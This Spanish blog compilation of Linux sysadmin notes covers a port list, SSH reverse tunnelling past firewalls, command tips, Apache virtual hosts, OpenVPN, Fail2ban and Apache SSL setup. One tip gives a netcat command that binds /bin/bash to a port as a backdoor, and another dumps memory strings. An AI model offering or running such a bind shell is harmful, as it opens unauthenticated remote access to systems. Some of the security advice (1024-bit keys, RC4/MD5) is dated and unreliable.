Importante es que si vas a entrar desde otro ordenador tienes que indicar obviamente el puerto que estés usando..
ssh -p 2222 IP

Listado de Puertos TCP/UDP

Puerto Descripción
1 TCP Port Service Multiplexer (TCPMUX)
5 Remote Job Entry (RJE)
7 Protocolo Echo (Responde con eco a llamadas remotas)
9 Protocolo Discard (Elimina cualquier dato que recibe)
13 Daytime (Fecha y hora actuales)
17 Quote of the Day (Cita del Día)
18 Message Send Protocol (MSP)
19 Protocolo Chargen, Generador de caractéres
20 FTP — Datos
21 FTP — Control
22 SSH, scp, SFTP – Remote Login Protocol
23 Telnet
25 Simple Mail Transfer Protocol (SMTP)
29 MSG ICP
37 Time
42 Host Name Server (Nameserv)
43 WhoIs
49 Login Host Protocol (Login)
53 Domain Name System (DNS)
66 Oracle SQLNet
67 BOOTP (BootStrap Protocol) (Server), también usado por DHCP
68 BOOTP (BootStrap Protocol) (Client), también usado por DHCP
69 Trivial File Transfer Protocol (TFTP)
70 Gopher Services
79 Finger
80 HTTP
88 Agente de autenticación Kerberos
103 X.400 Standard
107 Remote Telnet Service
108 SNA Gateway Access Server
109 POP2
110 POP3
115 Simple File Transfer Protocol (SFTP)
118 SQL Services
119 Newsgroup (NNTP)
123 NTP
137 NetBIOS Name Service
138 NetBIOS Datagram Service
139 NetBIOS Session Service
143 Internet Message Access Protocol (IMAP)
156 SQL Server
161 SNMP
162 SNMP-trap
177 XDMCP (Protocolo de gestión de displays en X11)
179 Border Gateway Protocol (BGP)
190 Gateway Access Control Protocol (GACP)
194 Internet Relay Chat (IRC)
197 Directory Location Service (DLS)
209 Quick Mail Protocol
217 dBASE Unix
389 Lightweight Directory Access Protocol (LDAP)
396 Novell Netware over IP
443 HTTPS
444 Simple Network Paging Protocol (SNPP)
445 Microsoft-DS (Active Directory, compartición en Windows, gusano Sasser, Agobot)
458 Apple QuickTime
500 IPSec ISAKMP, Autoridad de Seguridad Local
512 exec
513 login
514 syslog usado para logs del sistema
515 Printer
520 RIP
522 Netmeeting
531 Conference
546 DHCP Client
547 DHCP Server
563 SNEWS
569 MSN
631 CUPS: sistema de impresión de Unix
666 identificación de Doom para jugar sobre TCP
992 Telnet SSL
993 IMAP4 SSL
995 POP3 SSL
1080 Socks Proxy
1352 IBM Lotus Notes/Domino RCP
1433 Microsoft-SQL-Server
1434 Microsoft-SQL-Monitor
1494 Citrix MetaFrame Cliente ICA
1512 WINS
1521 Oracle listener
1701 Enrutamiento y Acceso Remoto para VPN con L2TP
1723 Enrutamiento y Acceso Remoto para VPN con PPTP
1761 Novell Zenworks Remote Control utility
1863 MSN Messenger
2049 NFS
2082 CPanel
2086 WHM (Web Host Manager)
2427 Cisco MGCP
3000 Calista IP phone (saliente)
3030 NetPanzer
3128 Squid Proxy
3306 MySQL
3389 Microsoft Terminal Server
3396 Novell agente de impresión NDPS
3690 SubVersion
4099 AIM Talk
4662 eMule
4672 eMule
4899 RAdmin
5000 UPNP (Universal plug-and-play)
5060 SIP (Session Initiation Protocol)
5190 Calista IP phone (entrante)
5222 XMPP/Jabber: conexión de cliente
5223 XMPP/Jabber: puerto por defecto para conexiones de cliente SSL
5269 XMPP/Jabber: conexión de servidor
5432 PostgreSQL
5500 VNC (Virtual Network Computing)
5517 Setiqueue proyecto SETI@Home
5631 pcAnyWhere (host)
5632 pcAnyWhere (host)
5400 VNC (Virtual Network Computing)
5500 VNC (Virtual Network Computing)
5600 VNC (Virtual Network Computing)
5700 VNC (Virtual Network Computing)
5800 VNC (Virtual Network Computing)
5900 VNC (Virtual Network Computing)
6000 X11 usado para X-windows
6112 Blizzard Entertainment
6129 Dameware: Software conexión remota
6346 Gnutella
6347 Gnutella
6348 Gnutella
6349 Gnutella
6350 Gnutella
6355 Gnutella
6667 IRC
6881 BitTorrent: puerto por defecto
6891-6900 MSN Messenger (archivos)
6901 MSN Messenger (voz)
6969 BitTorrent: puerto de tracker
7100 Servidor de Fuentes X11
8000 Shoutcast
8080 HTTP alternativo al puerto 80. También Tomcat default
8118 privoxy
8291 routers Microtik
9009 Pichat peer-to-peer chat server
9898 Dabber (troyano)
10000 Webmin (Administración remota web)
12345 Netbus (troyano)
19226 Puerto de comunicaciones de Panda Agent
20000-20019 ICQ
28800-29000 MSN Game Zone
31337 Back Orifice (troyanos)

viernes, 21 de febrero de 2014

Conexión a un servidor mediante túnel inverso ssh

A la hora de administrar servidores u otros equipos con unas medidas de seguridad específicas que no se deben modificar, existen varias herramientas, pero ninguna tan simple y eficaz como el túnel inverso por ssh.
No se trata más que de una conexión entre equipos puerto a puerto mediante ssh, con la característica de que la petición principal la realiza la máquina a la que queremos tener acceso y no desde la que accederemos. ¿Que cómo que qué? Pues supongamos que queremos acceder a un servidor, pero que ese servidor tiene por delante un router o firewall al que no tenemos acceso. Nosotros nos encontramos en la misma tesitura, nuestro router o firewall también bloquea las peticiones entrantes a cualquier puerto y de la misma forma nos es inaccesible. Con lo que sí contamos es con una tercera máquina a la que sí podremos acceder mediante ssh, lo que nos deja con la única solución de acceso al servidor desde el exterior mediante el túnel inverso ssh.
Lo que haremos para conectarnos a ese servidor, es establecer una conexión desde dicha máquina a aquel tercer equipo que dijimos sí teníamos acceso ssh, para luego conectarnos a ese equipo y enlazar indirectamente con el servidor desde nuestra ubicación, o cualquier otro equipo. Vamos con la configuración que quedará todo más claro.
Esta sería la configuración a establecer en el servidor al que queremos acceder:
ssh -R 16789:localhost:2222 usuario@servidor.o.ip
Aquí le especificamos que abra una conexión inversa (-R) al puerto 16789 del equipo al que sí podemos acceder vía ssh (localhost) mediante el puerto 2222 del servidor, con un usuario (usuario) determinado en, obviamente la dirección ip (@servidoroip) de esa tercera máquina.
Con esto configurado en el servidor, lo único que tendremos que realizar nosotros será una conexión ssh normal hacia el puerto 16789 de esa ‘máquina puente’ para que nos redirija mediante ese túnel inverso hacia el servidor.
ssh usuario@servidor.o.ip -p 16789
Y ya nos responde el servidor mediante la conexión que configuramos con la primera línea en el propio server.
Un último esquema para aclarar aún más la idea:
A=Desde donde conectaremos.
B=Servidor al que queremos conectar.
C=Equipo intermedio al que sí podemos acceder vía ssh.
ssh_reverso
B abrirá una conexión a C, con la que el puerto 2222 de B estará escuchando todo aquello que pase por el puerto 16789 de C. Luego nostros desde A podremos conectarnos al puerto 16789 de C, con lo que indirectamente estableceremos conexión con el puerto 2222 de B, que es lo que queríamos desde un principio, y todo esto gracias al túnel inverso ssh.

comando de linux muy buenos

- sshfs user@host:/path/to/dir /path/to/mount/point – monta el directorio/sistema de ficheros a través de SSH.
- !!:gs/foo/bar – ejecuta el comando anterior reemplazando la cadena “foo” por “bar”.
- mount | column –t – muestra los sistemas de ficheros montados de una forma ordenada.

- [space] command – ejecuta un comando sin guardarlo en el historial.
- ssh user@host cat /path/to/remotefile | diff /path/to/localfile – compara un fichero remoto con un fichero local.
- ffmpeg –f x11grab –s wxga –r 25 –I :0.0 –sameq /tmp/out.mpg – captura el video de un escritorio Linux.
- $ssh-copy-id user@host – copia las claves SSH a user@host para permitir inicios de sesión sin contraseña SSH.
- mtr google.com – mtr combina la funcionalidad de traceroute y ping.
- cd - – cambia a directorio de trabajo anterior.
- :w !sudo tee % – guarda un fichero que has editado en vim sin los permisos necesarios.
- python –m SimpleHTTPServer – ejecuta un servidor web en el directorio actual accesible mediante http://$HOSTNAME:8000/.
- sudo !! – ejecuta el último comando como root.
- wget –random-wait –r –p –e robots=off –U mozilla http://www.example.com – descarga un sitio web entero.
- du -h --max-depth=1 – lista el tamañao de todos los subdirectorios desde la posición actual.
- man ascii – acceso rápido a la tabla ASCII.
- net rpc shutdown –I WindowsIPAddr –U user%password – apaga un Windows desde Linux.
- (cd /tmp && ls) – salta a un directorio, ejecuta un comando y vuelve al directorio actual.
- ps –aux | sort –nk + 4 | tail – muestra el top 10 de procesos ordenados por uso de memoria.
- history | awk ‘{a[$2]++}END{for(i in a}{print a[i] “ ” i}’ | sort –rn | head – lista los comandos más usados.
- ping –i 60 –a IPAddr – configura una alarma sonora cuando la dirección IP se pone en línea.
- echo “you can simulate on-screen typing” | pv –qL 10 – simula escritura.
- python –m smtpd –n –c DebuggingServer localhost:1025 – arranca un sencillo servidor SMTP escuchando en el puerto 1025 de localhost.
- lsof –i – ver la actividad del servicio de red en tiempo real.
- mplayer –ao pcm –vo null –vc dummy –dumpaudio –dumpfile – ripea audio desde un fichero de video-
- sudo dd if=/dev/mem | cat | strings – muestra todos los valores string en memoria.
- cat /etc/issue –  muestra la distribución Linux instlada.
- wget –qO – http://www.tarbal.com/tarball.gz | tar zxvf - – extrae tarball desde Internet.
- nc –vv –l –p 1234 –e /bin/bash – crea un backdoor para permitir conexiones remotas a bash.

jueves, 13 de febrero de 2014

Servidores Virtuales con Apache2

Lo que sigue es una breve nota técnica que me sirva (y a otros) como recordatorio para la próxima vez , dado que hoy he perdido un rato con la configuración de un host virtual en Ubuntu.

Doy por supuesto que tienen apache2 instalado y funcionando
en sus maquina, sino, le dan:

$ sudo apt-get install apache2

En /etc/apache2 disponemos de varios subdirectorios, dos de ellos importantes para nuestra tarea. El primero sites-available y el segundo sites-enabled.

Los ficheros de configuración de los hostings virtuales se configuran en sites-available. El segundo subdirectorio sólo contiene enlaces a aquellos virtulhost que queremos activar.

Queremos crear un virtualhost de nombre hackit. Es decir, cuando ponga en mi navegador http://hackit me debe de llevar a la página principal de ese host. Si pongo http://localhost me llevará al virtualhost por defecto (distinto del de hackit).

Lo primero, creo una nueva entrada en /etc/hosts (mantengo lo que había y añado lo siguiente):

127.0.0.1 hackit

Copio los archivos del nuevo site en /var/www/hackit.

Comienza el procedimiento de configuración del nuevo virtualhost en Apache2:

$ cd /etc/apache2/sites-available

Edito las dos primeras líneas del fichero default para que queden así:

NameVirtualHost *:80
<VirtualHost *:80>

$ cp default hackit

Edito hackit para que las primeras líneas queden así:

<VirtualHost *:80>
ServerAdmin webmaster@hackit

ServerName hackit

DocumentRoot /var/www/hackit
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/hackit>

$ cd /etc/apache2

El siguiente comando, a2ensite (available2enablesite) crea un enlace en sites-enable al site que le indiquemos (es decir, activa el virtualhost que acabamos de crear)

# a2ensite hackit

Comprobamos:

$ ls -al sites-enabled/

Recargamos apache2:

#/etc/init.d/apache2 force-reload

Como Crear una VPN entre dos Linux


Descargar en ambas maquinas el openvpn

# aptitude install openvpn

# cd /etc/openvpn/easy-rsa/
# . vars (asigna la ruta de certificados y firmas)
#sh clean-all (borra cualquier certificado o basura que aya)
#sh build-ca (Generación certi_cado Autoridad Certi_cadora (CA))

Generación de certificado y clave del servidor

#sh build-key-server server

Esto genera los ficheros server.crt, server.csr y server.key que moveremos a la ubicación /etc/openvpn

Generación del certi_cado y clave para tres clientes
Ejecutar el siguiente comando:
./build-key cliente1
./build-key cliente2
./build-key cliente3

esto será movido a /etc/openvpn de cada cliente.

El resultado del script es muy similar al obtenido para el servidor. Se crean dos
ficheros cliente.crt, cliente.key,
también hay que mover el fichero ca.crt que genera el servidor.


Configuración del server.conf

VM-debian:/etc/openvpn# more server.conf
;local a.b.c.d

port 1194

;proto tcp
proto udp

;dev tap
dev tun

;dev-node MyTap

ca ca.crt
cert server.crt
key server.key # This file should be kept secret

dh dh1024.pem

server 10.8.0.0 255.255.255.0

ifconfig-pool-persist ipp.txt

;server-bridge 10.8.0.4 255.255.255.0 10.8.0.50 10.8.0.100
;push "route 192.168.10.0 255.255.255.0"
;push "route 192.168.20.0 255.255.255.0"
;client-config-dir ccd
;route 192.168.40.128 255.255.255.248
;client-config-dir ccd
;route 10.9.0.0 255.255.255.252
;learn-address ./script
;push "redirect-gateway"
;push "dhcp-option DNS 10.8.0.1"
;push "dhcp-option WINS 10.8.0.1"
;client-to-client
;duplicate-cn

keepalive 10 120
;tls-auth ta.key 0 # This file is secret

;cipher BF-CBC # Blowfish (default)
;cipher AES-128-CBC # AES
;cipher DES-EDE3-CBC # Triple-DES

comp-lzo

;max-clients 100

user nobody
group nogroup

persist-key
persist-tun

status openvpn-status.log
log openvpn.log
log-append openvpn.log

verb 3

;mute 20

Configuración del Client.conf

client

;dev tap
dev tun
;dev-node MyTap
;proto tcp
proto udp

remote 192.168.0.105 1194
;remote my-server-2 1194

;remote-random

resolv-retry infinite

nobind

user nobody
group nogroup

persist-key
persist-tun

;http-proxy-retry # retry on connection failures
;http-proxy [proxy server] [proxy port #]
;mute-replay-warnings

ca ca.crt
cert client.crt
key client.key

;ns-cert-type server
;tls-auth ta.key 1
;cipher x
;mute 20

comp-lzo

verb 3
status openvpn-status.log
log openvpn.log
log-append openvpn.log


corro el daemon /etc/init.d/openvpn start en ambos lados......y si tiro un ping a 10.8.0.1 tiene que llegar.

Instalacion y configuracion de Fail2ban



Fail2ban es una aplicación escrita en Python para la prevención de intrusos en un sistema, que se basa en la penalización de conexión (bloquear conexión) a los orígenes que intentan accesos por fuerza bruta. Se distribuye bajo la licencia GNU y típicamente funciona en todos los sistemas POSIX que tengan interfaz con un sistema de control de paquetes o un firewall local.
Más info...

Instalacion


apt-get install fail2ban


Configuracion

Para configurar fail2ban tenemos que acceder a los archivos ubicados en en/etc/fail2ban/.
El archivo principal y el que vamos a configurar en este post en jail.conf

Les dejo un pequeño listado con las palabras y definiciones mas comunes que vamos a encontar en este archivo:

ignoreip : IP que deseamos que ignore fail2ban
bantime : Tiempo que tendra que esperar el usuario que supero la cantidad maxima de logueos (segundos)
maxretry : Numero de intentos de logeo.
destemail: Dirección de correo donde nos enviará las nuevas alertas (se debe tener configurado un SMTP)
action : Simboliza la manera en que iptables aplicara las reglas
enable : Activa o desactiva la verificación del servicio para Fail2ban (TRUE , FALSE)
port : Nombre del servicio que está relacionado con el puerto por ejemplo "ssh"
logpath : Ruta donde se ubicaran los ficheros Logs para ver toda la información según cual sea el servicio.


Bueno empecemos a modificar el archivo jail.conf

Ahora modificaremos la siguiente linea para agregar el correo de destino para las notificaciones de fail2ban, en caso de no estar presente en el archivo la podemos agregar.


destemail = piruo7@debian.com 



Es recomendable que agreguemos en la linea “ignoreip” nuestra ip local, o la de algun servidor con el que podamos conectar en caso de que por error nos bloqueemos nosotros mismos:


ignoreip = 127.0.0.1



Buscar la siguiente linea y establecer el tiempo de prohibicion:


bantime = 600


Proteger el servidor SSH contra intentos de accesos fallidos:


[ssh]

enabled = true
port        = ssh
filter        = sshd
logpath  = /var/log/auth.log
maxretry = 6



Habilitar proteccion para Apache:


[apache]

enabled = true
port        = http,https
filter        = apache-auth
logpath  = /var/log/apache*/*error.log
maxretry = 6


Habilitar proteccion para vsftpd:


[vsftpd]
 
enabled  = true
port     = ftp,ftp-data,ftps,ftps-data
filter   = vsftpd
logpath  = /var/log/vsftpd.log
maxretry = 4


Tambien podemos habilitar y configurar la proteccion otros servicios como, Nginx, qmail, proftpd, sasl, asterisk, postfix, courier, Bind, etc.

Reiniciareamos Fail2ban


 /etc/init.d/fail2ban restart


Probar la configuracion


fail2ban-client -d


El comando anterior vertera la configuracion y mostrara los errores de la misma

Monitorear el registro de Fail2ban:


tail -f /var/log/fail2ban.log


Si quieren monitorear el servicio SSH lo que tiene que hacer es lo siguiente:


tail -f var/log/auth.log


La ruta del archivo cambia dependiendo a la configuracion que ustedes pusieron.

Apache 2 con Secure Sockets Layer (SSL)

Introducción a SSL

El estándar SSL fue desarrollado por NetscapeCommunications Corporation , junto con Mastercard,
Bank of America, MCI y Silicon Graphics. Lanzando en 1996 SSL v3.0, el cual se utilizó para
desarrollar en 1999 el TLS versión 1.0, un estándar protocolo IETF definido por primera vez en el
RFC 2246. Se encuentra en la pila OSI entre los niveles de TCP/IP y de los protocolos HTTP, FTP,
SMTP, SSH, etc.
SSL opera de una manera modular: sus autores lo diseñaron extensible, con soporte para
compatibilidad hacia delante y hacia atrás, y negociación entre las partes (peer-to-peer).
Proporciona sus servicios de seguridad cifrando los datos intercambiados entre el servidor y el
cliente con un algoritmo de cifrado simétrico, típicamente el RC4 o IDEA, y cifrando la clave de
sesión de RC4 o IDEA mediante un algoritmo de cifrado de clave pública, típicamente el RSA. La
clave de sesión es la que se utiliza para cifrar los datos que vienen del y van al servidor seguro. Se
genera una clave de sesión distinta para cada transacción, lo cual permite que aunque sea reventada
por un atacante en una transacción dada, no sirva para descifrar futuras transacciones. MD5 se usa
como algoritmo de hash.
Proporciona cifrado de datos, autenticación de servidores, integridad de mensajes y, opcionalmente,
autenticación de cliente para conexiones TCP/IP.
Cuando el cliente pide al servidor seguro una comunicación segura, el servidor abre un puerto
cifrado, gestionado por un software llamado Protocolo SSL Record, situado encima de TCP. Será el
software de alto nivel, Protocolo SSL Handshake, quien utilizara el Protocolo SSL Record y el
puerto abierto para comunicarse de forma segura con el cliente.
Funcionamiento
Cuando el cliente pide al servidor seguro una comunicación segura, el servidor abre un puerto
cifrado (443), gestionado por un software llamado Protocolo SSL Record, situado encima de TCP.
Será el software de alto nivel el protocolo SSL Handshake, quien utilice el Protocolo SSL Record y
el puerto abierto para comunicarse de forma segura con el cliente.
1. El protocolo SSL Handshake, es donde el cliente y el servidor intercambian una serie de
mensajes para negociar las mejoras de seguridad.
La fase de Saludos.
La fase de intercambio de claves.
La fase de producción de clave de sesión.
La fase de verificación del servidor.
La fase de autenticación del cliente.
La fase de finalización.

2. El Protocolo SSL Record especifica la forma de encapsular los datos transmitidos y
recibidos. La porción de datos del protocolo tiene tres componentes:
MAC-DATA, el código de autenticación del mensaje.
ACTUAL-DATA, los datos de aplicación a transmitir.
ADDING-DATA, los datos requeridos para rellenar el mensaje al usa cifrado en bloque.
Este invento que ha propiciado una navegación segura más transacciones comerciales, motivando a
los usuarios de la red y a las empresas a que tengan confianza de ser usurpados por usuarios
maliciosos del internet, lo cual ha dado un mejor funcionamiento a un nivel económico. Visa,
MasterCard, American Express y muchas de las principales instituciones financieras han aprobado
SSL para el comercio sobre Internet.
Referencias: RFC 4346, reemplazada por RFC 5246, 5746, 5878 (estándar propuesto); modificada
por RFC 4366, 4680, 4681, 5746 (correcciones).
Primero que nada necesitamos habilitar el modulo SSL con lo cual tenemos que hacerlo ejecutando
“a2enmod ssl” esto activara los módulos que necesitamos para continuar nuestra configuración.

$ a2enmod ssl

Luego creamos en /etc/apache2/sites-available un archivo con el nombre del dominio pero con -ssl
para diferenciarlo del precedente “gato.linux.com-ssl.conf” en el escribimos el siguiente
script.

<IfModule mod_ssl.c> ## Módulos para el protocolo SSL
<VirtualHost *:443> ## Puerto de HTTPS por defecto 443
DocumentRoot "/home/gatoe/www/gato.linux.com" ## Localización de documentos
ServerName gato.linux.com ## Nombre del dominio
ServerAlias *.gato.linux.com ## Alias del dominio
<Directory "/home/gato/www/gato.linux.com"> ## Localización del sitio
Options -Indexes FollowSymLinks MultiViews
allow from all
</Directory>
ErrorLog /var/log/apache2/gato.linux.com-ssl.error.log ## archivo log auto-generable
LogLevel warn
CustomLog /var/log/apache2/gato.linux.com.access.log combined ## log de acceso
## auto-generable
ServerSignature On
SSLEngine on
SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
<FilesMatch ".(cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory /usr/lib/cgi-bin>
SSLOptions +StdEnvVars
</Directory>
BrowserMatch "MSIE [2-6]"
nokeepalive ssl-unclean-shutdown
downgrade-1.0 force-response-1.0
BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown
</VirtualHost>


Ahora vamos a modificar el archivo que se encuentra en “/etc/apache2/ports.conf” aquí tendremos
que hacer algunas modificaciones, dejándolos de esta manera
SCRIPT “/etc/apache2/ports.conf”

NameVirtualHost *:80
Listen 80
<IfModule mod_ssl.c>
NameVirtualHost *:443
Listen 443
</IfModule>

Apache 2 con Secure Sockets Layer (SSL)


Ahora tendremos que activarlos ejecutando lo siguiente.

a2ensite gato.linux.com-ssl.conf


Ahora reiniciamos apache2

/etc/init.d/apache2 restart

y ya tendríamos que podes acceder usando el protocolo HTTPS.

web

# Creamos las llaves con el comando openssl usando “genrsa -des3” para generar parámetros de
RSA, utilizando un algoritmo DES encriptando 3 veces, y quedara contenida en un archivo que
generara con el nombre servidor.key con una encriptación de 1024 bits en el directorio
/etc/apache2/.
En caso de querer generar una contraseña con una seguridad mayor, se puede usar 2048 bits, y
direccionarla a algún archivo “openssl genrsa -des3 2048 >> /archivo_a_alojar/”
Podemos usar muchos parámetros mas como por ejemplo usar Diffie-Hellman o parámetros DSA
para conocer un poco mas recomiendo ejecutar “man openssl”.
openssl genrsa -des3 1024 >> /etc/apache2/servidor.key
en mi caso como estoy en el directorio /etc/apache2/ obvio la redirección final “>> /etc/apache2”

apache

Donde nos pide que ingresemos una passwd para crear una llave que estará contenida en
servidor.key, luego nos pedirá que repitamos la contraseña.

Aclaración: al ingresar las contraseñas no esperes ver caracteres de ningún tipo.

Ahora tenemos que creamos un certificado con la llave que ya creamos, así que primero que nada
nos posicionamos en el directorio /etc/apache2/ y ejecutamos el comando openssl con el parámetro
“-req” para los certificado X.509 con una solicitud de firma RSE de administración, generando una
nueva llave que sera direccionado todo al archivo servidor.csr.
openssl req -new -key servidor.key -out servidor.csr
en la cual tendremos que llenar un formulario con algunos campos como:
El código del país en mi caso es Argentina así que ingreso “AR”.
La provincia donde nos encontramos, en mi caso “Corrientes”.
Ciudad en la que nos encontramos “Corrientes”.
El nombre de la empresa a la que pertenecemos “GaTux”.
Nombre de la sección en la organización “Informatica”.
Nombre completo “Leandro Facundo Carril”.
Tu E-mail “lean1989gatux@gmail.com”
Luego continua con Atributos extras del formulario donde nos vuelve a pedir la Password ingresada
en las llaves generadas y un nombre opcional el que podemos dejar en blanco.

redes


Ahora crearemos un certificado nuevo autofirmado de tipo x509 usando req (recuest), que
durará un año usando como certificado raíz a servidor.key. Con out marcamos el
certificado que deseamos firmar “servidor.crt”. En caso que no usemos la opción days se
creara un certificado por 30 días.

openssl x509 -req -days 365 -in servidor.csr -signkey servidor.key -out servidor.crt

Donde tendremos que ingresar nuevamente nuestra contraseña.

LAN


#Cambiamos de carpeta la llave y certificado

cp servidor.crt /etc/ssl/certs/
cp servidor.key /etc/ssl/private/


Abrimos el archivo de configuracion gato.linux.com-ssl.confmcedit /etc/apache2/sites-availables/gato.linux.com-ssl.conf
# reemplazamos y habilitamos la siguiente configuracion

SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
SSLCertificateFile /etc/ssl/certs/servidor.crt
SSLCertificateKeyFile /etc/ssl/private/servidor.key


debian


# habilitamos el archivo

a2ensite /etc/apache2/sites-availables/gato.linux.com-ssl.conf

servidores


# Reiniciamos apache y listo!!

/etc/init.d/apache2 restart

Configuracion

Linux

desplazamos donde dice Comprendo los Riegos.

le damos clik en agregar excepcion.

y por ultimo confirmar excepcion de seguridad.

y Whoala!!!

ssl